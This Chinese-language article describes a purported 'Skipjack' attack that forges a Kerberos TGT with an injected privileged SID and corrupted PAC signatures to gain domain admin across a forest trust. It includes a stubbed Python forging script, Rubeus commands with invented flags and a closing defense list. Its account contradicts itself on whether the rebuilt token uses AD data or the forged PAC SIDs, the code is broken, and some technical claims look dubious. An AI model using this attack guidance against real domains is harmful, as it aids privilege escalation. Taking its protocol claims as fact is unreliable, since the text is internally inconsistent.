摘要

Kerberos 票据中的特权属性证书承载着用户的组成员身份和安全标识符,其完整性由 KDC 的长期密钥签名保护。然而,当 PAC 签名验证失败时,Windows 域控制器的默认行为并非一律拒绝,而是在特定配置下(尤其是跨林信任场景中)采取降级策略——忽略 PAC 签名错误,转而使用 Active Directory 中存储的组成员身份重建用户的访问令牌。攻击者可构造 PAC 被篡改或签名缺失的 TGT,利用跨林信任的 SID 过滤与选择性认证盲区,将低权限用户提升为域管理员。

PAC 签名架构与信任边界

PAC 的双签名体系

Kerberos PAC 是微软对标准 Kerberos 协议的扩展,嵌入在 TGT 和 ST 的授权数据字段中。它包含用户的 SID、组成员身份 SID 列表以及用于权限判断的额外信息。为了防止用户或恶意服务篡改 PAC 内容,微软采用了双签名机制:

  • 服务签名:使用目标服务账户的密钥对 PAC 内容进行签名,验证该 PAC 确由 KDC 为该服务签发。
  • KDC 签名:使用 KDC 自身密钥对 PAC 进行二次签名,提供额外的完整性保障,防止拥有服务密钥的内部人员伪造 PAC。

这两组签名数据存储在 PAC_SIGNATURE_DATA 结构中,分别包含签名类型(如 KerberosHMAC_SHA1_96)、签名算法标识符和签名值本身。

PAC 结构及签名位置:

+-------------------------------------------------------+

| PACTYPE (PAC 头部)                                    |
| - cBuffers (缓冲区数量)                               |
| - Version (PAC 版本,通常为 0)                        |
+-------------------------------------------------------+

| PAC Info Buffer 1 (缓冲区 1:通常为服务器签名结构)    |
| - ulType: 0x00000006 (SERVER_CHECKSUM)                |
| - cbBufferSize & offset                               |
|   -> [指向具体的服务器签名数据]                       |
+-------------------------------------------------------+

| PAC Info Buffer 2 (缓冲区 2:通常为 KDC 签名结构)     |
| - ulType: 0x00000007 (PRIVILEGE_SERVER_CHECKSUM)      |
| - cbBufferSize & offset                               |
|   -> [指向具体的 KDC 签名数据]                        |
+-------------------------------------------------------+

| PAC Info Buffer 3 (缓冲区 3:服务器凭据信息)          |
| - ulType: 0x00000001 (LOGON_INFO)                     |
| - cbBufferSize & offset                               |
|   -> [指向用户 SID、用户组 SID、登录时间等主体信息]   |
+-------------------------------------------------------+

| ... (可包含其他类型的缓冲区,如客户端名称、UPN等)     |
+-------------------------------------------------------+

| 具体数据段 (Buffers Data)                             |
| - 包含上述各个缓冲区所指向的实际数据                  |
+-------------------------------------------------------+

PAC 验证逻辑与降级触发器

当域控制器处理认证请求时,LSA 中的 KdcVerifyPacSignature 函数会对 PAC 签名进行验证。正常情况下,若任一签名无效,域控制器应拒绝票据并记录审核失败。但 Windows 同时实现了一套降级策略:若域控制器在本地 AD 数据库中能够找到与用户 SID 对应的账号对象,且该对象包含完整的组成员身份信息,域控可以选择忽略 PAC 签名错误,直接使用 AD 中的组成员身份构建令牌。

这一设计的初衷是兼容遗留系统,避免因 PAC 签名算法升级导致旧版域控完全无法处理新格式票据。然而,该降级逻辑在跨林信任场景中尤为危险——当用户来自受信任的外部林时,目标域控可能完全无法验证外部林的 KDC 签名(因为缺乏信任密钥),而 PAC 中的 SID 历史信息又允许外部用户声明目标林的组成员身份。

跨林信任中的 SID 过滤黑洞

在典型的跨林信任中,msDS-TrustForestTrustInfo 属性控制着 SID 过滤行为。默认情况下,Windows Server 2012 R2 及更高版本启用了 SID 过滤,使得来自外部林的用户无法在 PAC 中携带目标林的高权限 SID。但若信任关系被配置为 “禁用 SID 过滤”(例如与旧版 NT4 域或特定合作伙伴信任),则外部用户可以声明任意 SID——包括目标林的企业管理员组 S-1-5-21-<domain>-519

结合 PAC 签名降级行为,攻击者可以构造一个 PAC 被篡改(声明高权限 SID)但签名无效或缺失的 TGT。当该 TGT 被提交到目标域控时,由于签名验证失败,域控进入降级模式,直接从 AD 检索该用户在目标林中的对应账户(或通过 SID 历史映射)并构建令牌。若信任禁用了 SID 过滤,攻击者即可将其自声明的高权限 SID 植入令牌,完成权限提升。

Skipjack 攻击路径:从无效签名到域管理员

攻击前提

  • 攻击者已控制受信任林(林 A)中一个普通用户账户。
  • 林 A 与目标林(林 B)之间建立了外部信任或林信任,且 SID 过滤被禁用。
  • 目标林 B 中存在一个与攻击者账户名相同的用户(或通过名称后缀映射),或者攻击者利用 SID 历史将高权限 SID 注入到用户令牌。

攻击步骤

  1. 获取 TGT:攻击者在林 A 中为其控制的账户请求 TGT。
  2. 构造恶意 PAC:修改 TGT 中的 PAC 内容,添加林 B 的域管理员组 SID,并故意删除或损坏 KDC 签名和服务签名。
  3. 跨林提交 TGT:使用此篡改后的 TGT 向林 B 的域控制器请求服务票据(ST),或以该 TGT 直接进行认证。
  4. 触发降级:林 B 的域控在验证 PAC 签名时失败。由于信任关系允许跨林认证,域控检查本地 AD 中是否存在对应用户(或 SID 历史映射),并因签名无效而启用降级模式——从 AD 中重建用户令牌,而非依赖 PAC 中的组成员身份。
  5. 权限提升:若信任禁用了 SID 过滤,域控将保留 PAC 中声明的 SID 列表,包括攻击者伪造的域管理员 SID。降级模式下重建的令牌包含这些高权限 SID,攻击者获得目标林的域管理员权限。

这一攻击路径得名 Skipjack——因为攻击者“跳过”了 PAC 签名的完整性检查,直接“钓取”了域控的降级逻辑。

核心利用代码

生成带有无效签名的恶意 PAC

#!/usr/bin/env python3
"""
skipjack_forge.py — 构造包含无效 PAC 签名的 TGT 以实现降级攻击

依赖:pip install impacket pyasn1
原理:
  1. 解析原始 TGT 的 AS-REP
  2. 修改 PAC 中的 GROUP_MEMBERSHIP 数组,注入目标高权限 SID
  3. 删除或损坏 PAC 的 KDC 签名和服务签名
  4. 重新封装票据
"""

from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REP, EncTicketPart, Ticket, AuthorizationData, AD_IF_RELEVANT
from impacket.krb5.types import Principal, KerberosTime
from impacket.krb5.crypto import _enctype_table
from pyasn1.codec.der import decoder, encoder
from pyasn1.type import univ
import random

defextract_pac(enc_ticket_part: bytes, key: bytes) -> bytes:
"""解密票据并提取 PAC 数据"""
# 使用服务密钥解密 EncTicketPart
# 简化示例,实际需使用对应的加密类型
# ...
return pac_bytes

defmodify_pac(pac_bytes: bytes, target_sid: str) -> bytes:
"""向 PAC 的 GROUP_MEMBERSHIP 中添加高权限 SID"""
# 此处需完整解析 PAC 结构,找到 GROUP_MEMBERSHIP 列表并追加 SID
# 由于 PAC 结构复杂,以下为伪代码
    sid_bytes = sid_to_bytes(target_sid)  # 需实现 SID 转二进制
# 找到 GROUP_MEMBERSHIP 的缓冲区偏移,追加新的 SID
# 注意更新 PAC 中的 GroupCount 字段
# ...
return modified_pac

defremove_signatures(pac_bytes: bytes) -> bytes:
"""删除或损坏 PAC 签名缓冲区"""
# 将 KDC 签名和服务签名的缓冲区清零或长度置零
# 使得 KdcVerifyPacSignature 验证必然失败
# ...
return pac_bytes

defforge_tgt(tgt_as_rep: bytes, target_sid: str, service_key: bytes) -> bytes:
"""主流程:构造带有无效签名的 TGT"""
    as_rep = decoder.decode(tgt_as_rep, asn1Spec=AS_REP())[0]
    ticket = as_rep['ticket']
    enc_part = ticket['enc-part']['cipher']

    pac = extract_pac(enc_part, service_key)
    pac = modify_pac(pac, target_sid)
    pac = remove_signatures(pac)

# 重新加密 enc-part 并包装票据
# 注意需重新计算相关校验和
# ...
return forged_tgt_bytes

if __name__ == '__main__':
    print("[*] Skipjack PAC Forgery")
    print("[*] 将目标域管理员 SID 注入 PAC 并损坏签名...")
# 具体参数需从实际环境中获取

说明:实际攻击中,更常用的是利用 Rubeus 或自定义 Kerberos 库在 Windows 上直接操作。上述代码展示了 PAC 操纵的核心步骤——注入 SID、删除签名、重封装票据。

使用 Rubeus 进行跨林信任降级攻击

# 1. 请求一个可转发的 TGT
Rubeus.exe asktgt /user:attacker /password:Passw0rd /domain:trusted.local /dc:DC01.trusted.local /enctype:aes256

# 2. 使用 SID 注入和签名破坏的 /inject 模式
#    (Rubeus 需自定义编译以支持签名破坏功能,以下为概念性命令)
Rubeus.exe asktgt /user:attacker /password:Passw0rd /domain:trusted.local /injectSID:S-1-5-21-<TargetDomain>-519 /corruptSignature

# 3. 使用篡改后的 TGT 向目标林请求服务票据
Rubeus.exe asktgs /service:cifs/DC.target.local /ticket:doIF... /ptt

防御策略

  • 启用并强制 SID 过滤:在跨林信任上勾选“启用 SID 过滤”,并确保在双方林上实施。对于不需要的历史遗留信任,禁用 SID 过滤的选项。
  • 禁用 PAC 签名降级:通过组策略或注册表强制域控始终要求有效的 PAC 签名(HKLM\System\CurrentControlSet\Services\Kdc\Parameters 中的 KdcValidatePac 键值设为 1)。注意此设置可能导致旧版系统的兼容性问题。
  • 监控 Kerberos 事件日志:重点监视事件 ID 4769 的 Status 字段,以及事件 4826 (PAC 验证失败)。对来自外部林但 SID 包含本林特权组的请求立即告警。
  • 实施 ESAE 管理林:使用增强的安全管理环境隔离高权限账户,降低跨林攻击面。

结语

Kerberos PAC 的降级策略是微软为兼容性留下的一道后门,然而在复杂的跨林信任拓扑下,这道后门足以瓦解基于 SID 过滤的信任边界。Skipjack 攻击无需内核漏洞,无需 EOP,只需对 Kerberos 协议的深度理解和恰到好处的一个 PAC 篡改。